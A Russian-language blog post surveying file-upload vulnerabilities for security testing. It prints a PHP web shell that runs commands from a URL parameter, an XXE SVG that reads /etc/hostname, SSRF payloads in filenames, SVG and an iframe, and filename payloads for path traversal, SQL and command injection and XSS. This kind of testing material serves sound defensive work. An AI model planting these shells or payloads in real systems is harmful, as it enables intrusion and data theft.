В этом блоге я расскажу о некоторых уязвимостях при загрузке файлов.

Введение

Во многих приложениях существует функция загрузки файлов. Однако её реализация отличается в зависимости от специфики использования. Некоторые приложения позволяют загружать только изображения, поддерживая лишь форматы, связанные с изображениями, такие как .jpg или .png. Другие приложения поддерживают загрузку различных расширений, соответствующих их бизнес-кейсам.

1. RCE через загрузку файлов

Одной из самых интересных атак, связанных с функцией загрузки файлов, является удалённое выполнение кода (Remote Code Execution, RCE). Существует несколько способов исполнения вредоносного кода с использованием загруженных файлов. Один из наиболее распространённых методов — загрузка шелла и получение дальнейшего доступа к системе.

PHP-скрипт для RCE

Попробуйте загрузить следующий код с расширением .php. Затем определите расположение и извлеките файл. В URL-адресе файла можно добавить параметр c, где можно указать команды, например, whoami. Пример URL:

“https://example.com/shell.php?cmd=whoami”

Пример кода:

<?php phpinfo();?>
<?php system($_GET[‘c’]);?>

Важно: В реальных приложениях это будет не так просто. Обычно на загрузку подобных файлов накладываются ограничения. Ниже мы обсудим методы обхода этих ограничений.

Дополнительные материалы

[Бонус] RCE через загрузку .gif

2. XSS через загрузку файлов

Во время тестирования функционала загрузки файлов существует множество способов выполнить сценарий атаки с использованием XSS. Загрузка файлов предоставляет широкие возможности для нахождения XSS-уязвимостей в веб-приложениях. Ниже перечислены некоторые способы достижения XSS через загрузку файлов:

1) XSS через имя файла.

2) XSS через метаданные.

3) XSS через SVG-файл.

4) Слепой XSS (Blind XSS) через SVG-файл.

Шаги по воспроизведению атак и детали каждого метода можно найти в этой полезной статье от Brutelogic. Ознакомиться со скриптом для получения Blind XSS через SVG-файл можно тут.

Дополнительные материалы

3.1 SSRF через загрузку файлов

Server-Side Request Forgery (SSRF) — одна из самых интересных и серьёзных уязвимостей в области безопасности. Функционал загрузки файлов может позволять использовать такие форматы, как HTML или SVG, что даёт возможность реализовать SSRF. Эта атака бывает нескольких видов:

  • Внутренний SSRF (Internal SSRF).

  • SSRF через метаданные облака (Cloud Metadata SSRF).

  • Внешний SSRF (External SSRF).

3.2 SSRF через имя файла

Попробуйте отправить URL в качестве имени файла, чтобы получить Blind SSRF. Пример:

filename=https://172.17.0.1/internal/file

Также можно попытаться изменить атрибут type="file" на type="url" в запросе.

3.3 SSRF через загрузку SVG-файла

Попробуйте загрузить следующий код с расширением .svg. После получить загруженный файл из приложения, чтобы проверить, возможен ли SSRF:

<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>

3.4 SSRF через iframe в HTML

Попробуйте загрузить следующий код с расширением .html. После обратитесь к загруженному файлу из приложения, чтобы проверить, возможен ли SSRF:

<html>
<body>
<iframe src="http://collaborator.net" width="500" height="500"></iframe>
</body>
</html>

Дополнительные материалы

4. XXE через загрузку файлов

Функционал загрузки файлов открывает возможности для атак с использованием XML External Entities (XXE), особенно если приложение принимает файлы форматов, которые поддерживают XML. Поскольку формат SVG использует XML, злоумышленник может отправить вредоносное SVG-изображение, чтобы получить доступ к скрытым поверхностям атаки, связанным с XXE-уязвимостями.

Пример кода

Попробуйте загрузить следующий код с расширением .svg и получить загруженный файл из приложения:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Дополнительные материалы

5. CSRF при загрузке файлов

Cross-Site Request Forgery (CSRF) — это атака, которая заставляет аутентифицированных пользователей отправлять запросы веб-приложению, в котором они уже прошли аутентификацию. CSRF-атаки могут быть реализованы путём создания HTML-формы.

Шаги проверки:

  1. Перехватить запрос из формы загрузки.

  2. Создать Proof of Concept (PoC) с помощью CSRF-генератора в Burp Suite.

  3. Открыть созданный PoC-файл в другом аккаунте и в другом браузере.

  4. Проверить, удалось ли успешно загрузить файл от имени другого аккаунта.

Дополнительные материалы

6. Утечка метаданных EXIF

Эта уязвимость возникает, когда пользователь загружает изображение на сайт, а метаданные EXIF не удаляются. В результате любой человек может получить чувствительную информацию пользователей сайта, такую как:

  • Геолокация

  • Информация об устройстве (название, версия устройства)

  • Используемое ПО и его версия

Шаги проверки

  1. Посетите репозиторий с изображениями, содержащими метаданные.

  2. Загрузите изображение на целевой сайт.

  3. Скачайте загруженное изображение с сайта.

  4. Проверьте наличие EXIF-метаданных через сервис  для анализа метаданных. Если метаданные не были удалены, уязвимость может быть подтверждена.

Дополнительные материалы

7. Open Redirect через загрузку файла SVG

Функционал загрузки файлов может быть использован для создания уязвимости Open Redirect при определённых условиях. Злоумышленник может сформировать полезную нагрузку, которая перенаправит пользователя на контролируемый атакующим домен.

Шаги реализации

1) Сохраните следующий код как файл с расширением .svg:

<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>

2) Загрузите этот файл и попробуйте извлечь его.

Дополнительные материалы

8. DOS с использованием большого файла

Функционал загрузки файлов обычно ограничивает размер загружаемого файла (обычно 5–200 МБ). Однако, если проверки на размер отсутствуют, злоумышленник может загрузить файл большого размера. Это может привести к сильному потреблению ресурсов и вызову отказа в обслуживании (DOS).

Шаги проверки

  1. Создайте файл, размер которого превышает допустимый предел, например, изображение размером 500 МБ.

  2. Попробуйте загрузить этот файл. Если приложение принимает его и начинает обработку, проверьте работу приложения с другого устройства, чтобы выявить замедление или ошибки подключения.

Дополнительные материалы

9. Обход проверки при загрузке файлов

При проверке загружаемых файлов сервер может использовать сравнение расширений для предотвращения загрузки вредоносных файлов. Однако такие проверки можно обойти, используя различные техники обхода фильтров.

Полезные ресурсы

  1. PayloadAllTheThings File Upload Bypass.

  2. Unrestricted File Upload~Owasp

  3. Hacktricks ~ File Upload Methodology

10. Уязвимости в именах файлов

Ниже приведены примеры уязвимостей, которые можно реализовать, изменяя имя файла перед его загрузкой. Эти тесты просты и полезны для проверки. Измените имя файла на указанные варианты, чтобы проверить наличие соответствующих уязвимостей:

  • Path Traversal: ../../../tmp/lol.png

  • SQL-инъекция: sleep(10) -- .jpg

  • XSS: <svg onload=alert(document.domain)>.jpg/png

  • Command Injection: ; sleep 10;.jpg

  • DOS (отказ в обслуживании): Задайте для файла длинное имя и загрузите его. Это может вызвать отказ в обслуживании.

11. Прочие атаки на функционал загрузки файлов

  1. CSV Injection

  2. File Overwrite

  3. Pixel Flood Attack

  4. ImageTragik

  5. Zip Slip Attack

Спасибо за внимание!

Life-Hack - Жизнь-Взлом

Комментарии (0)